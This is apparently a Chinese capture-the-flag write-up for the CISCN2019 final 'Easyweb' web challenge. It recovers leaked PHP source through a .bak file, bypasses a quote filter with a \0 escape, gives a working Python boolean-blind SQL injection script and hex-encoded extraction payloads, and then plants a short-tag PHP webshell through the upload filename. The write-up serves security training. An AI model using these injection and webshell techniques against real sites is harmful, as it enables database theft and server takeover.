刷题[CISCN2019 总决赛 Day2 Web1]Easyweb
解题思路

打开网页是这样一个登陆框,随机试了一下常见弱密钥,二次注入等。均是返回不同的猫咪图案

不同的id对应不同的猫咪图案。经测试,返回的id应该是无序,随机的。感觉这里有可能存在注入点,但是测试好像没有报错的情况,先记着。
源码没东西,robots.txt呢,发现了东西。

应该是存在源码泄露了,但是要找出是哪个php文件。index.php.bak不对,user.php.bak不对。这里暂时没思路了。扫下目录,看看有没有后台
扫描,吓了一跳,发现怎么有这么多东西,这是我第一次见到扫出来这么多的了。但是好像所有的文件都会返回相同的登陆框页面,猜测这里有重定向
想了一会儿,想到猫咪的页面image.php
image.php.bak终于找到了,存在源码泄露
代码审计
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
这一看不是老布尔盲注了吗,最近刷了好多这种题啊。id为0正好报错,id为1显示正确
主要考虑:
怎么绕过对单引号的过滤,闭合id的单引号,把危险代码放在path变量中
不能用单引号闭合单引号,那么我们考虑能不能用\转义单引号呢。
这里过滤不算特别严格,并且使用的是str_replace这种有缺陷的函数。
我们反推:
- 最后要是\,那么经过str_replace函数处理之前可以是\\0(函数中的\\0,第一个斜杠转义\,表示成真实的\)
- \\0在经过addslashes函数处理之前可以是\0。
那么就出来了,我们在id处传入\0,即可在经过一系列处理后变成\,转义单引号。
语句即变成:
select * from images where id='\' or path='{$path}'
编写exp
import requests
url = "http://0fc26848-c4ee-46f6-b15d-ad97821f76e2.node3.buuoj.cn/image.php?id=\\0&path="
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload = "or id=if(ascii(substr((database()),{0},1))>{1},1,0)%23".format(i,mid)
html = requests.get(url+payload)
print(low,high,mid,":")
print(url+payload)
if "JFIF" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low ==32 or high==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
爆出来当前数据库,ciscnfinal
爆表
or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c ),{0},1))>{1},1,0)%23
因为单引号被过滤,直接可以用16进制绕过。爆出表:images,users
知道了password应该在users表中,爆列名。
爆出password:e18be75a8a54cf38a377。成功登陆

getshell

传入一些文件后发现,它是把传入的文件写入
/logs/upload.4ee0861649284ba13ea8e84271cc35a7.log.php
写入的文件是php文件,也就是说我们要把一句话作为文件名。
这里发现打不进去。在网上看到有一种叫短标签的方式
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:
(<? ?>)。
这是一个小tips学到了
然后蚁剑连本文件,flag在根目录下
总结思路
- 源码泄露
- 代码审计,布尔盲注,爆出密码
- 短标签绕过对文件名php的过滤
知识点
- 代码审计
- sql注入(布尔盲注)
- php特性
刷题[CISCN2019 总决赛 Day2 Web1]Easyweb的更多相关文章
- 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...
- [CISCN2019 总决赛 Day2 Web1]Easyweb
0x00 知识点 1:备份文件泄露 2:SQL注入 3:php短标签 短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制. ...
- BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb
BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb 就给了一个这个... 先打上robots.txt看看 发现有源码备份,但不是index.php.bak... 看源码发现 ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...
- 刷题[CISCN2019 华东南赛区]Web4
解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System
目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...
- 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1
目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...
随机推荐
- BIGI行情-实时行情数据源接口websocket接入方法
BIGI行情-实时行情数据源接口socket接入方法1.国际期货.国内期货.外汇.贵金属.现货.期权.股指.数字货币和A股实时行情和历史行情2.推送的有:socket,websocket,http接收 ...
- K8s 1.18.6版本基于 ingress-nginx 实现金丝雀发布(灰度发布)
K8s 1.18.6版本基于 ingress-nginx 实现金丝雀发布(灰度发布) 环境 软件 版本 kubernetes v1.18.6 nginx-ingress-controller 0.32 ...
- ominigraffle实践之画精美流程图+自动导出Xcode工程类图
背景 在平常阅读各种文章时,注意到有的文章中流程图做得特别漂亮.特别羡慕.于是去搜索了下,发现mac平台好评很高的是一款名为ominigraffle的软件.这款软件不仅可以画图,还可以导出Xcode工 ...
- 高可用集群corosync+pacemaker之crmsh使用(一)
上一篇博客我们聊了下高可用集群corosync+pacemaker的相关概念以及corosync的配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13585 ...
- npm install @wepy/cli -g 出错
npm install @wepy/cli -g 出错:npm ERR! Unexpected end of JSON input while parsing near '...1.0.0" ...
- python中os.path下模块总结
import os path =os.path.abspath("abc.text") # 返回绝对路径 print("path:",path) # path: ...
- GLSL 着色器程序
除了使用Cg/HSL 着色器程序以外, OpenGL 着色器语言(GLSL)着色器可以直接书写shader. 然而,使用原生的GLSL只推荐作为测试使用,或者你清晰的知道你的目标平台是 Mac OS ...
- 分布式文件存储:FastDFS简单使用与原理分析
引言 FastDFS 属于分布式存储范畴,分布式文件系统 FastDFS 非常适合中小型项目,在我接手维护公司图片服务的时候开始接触到它,本篇文章目的是总结一下 FastDFS 的知识点. 用了 2 ...
- nginx 启动报错“var/run/nginx/nginx.pid" no such file or directory
nginx 启动报错“var/run/nginx/nginx.pid" no such file or directory 今天刚搭建的nginx服务器启动时,报错“var/run/ngin ...
- 【小白学PyTorch】8 实战之MNIST小试牛刀
文章来自微信公众号[机器学习炼丹术].有什么问题都可以咨询作者WX:cyx645016617.想交个朋友占一个好友位也是可以的~好友位快满了不过. 参考目录: 目录 1 探索性数据分析 1.1 数据集 ...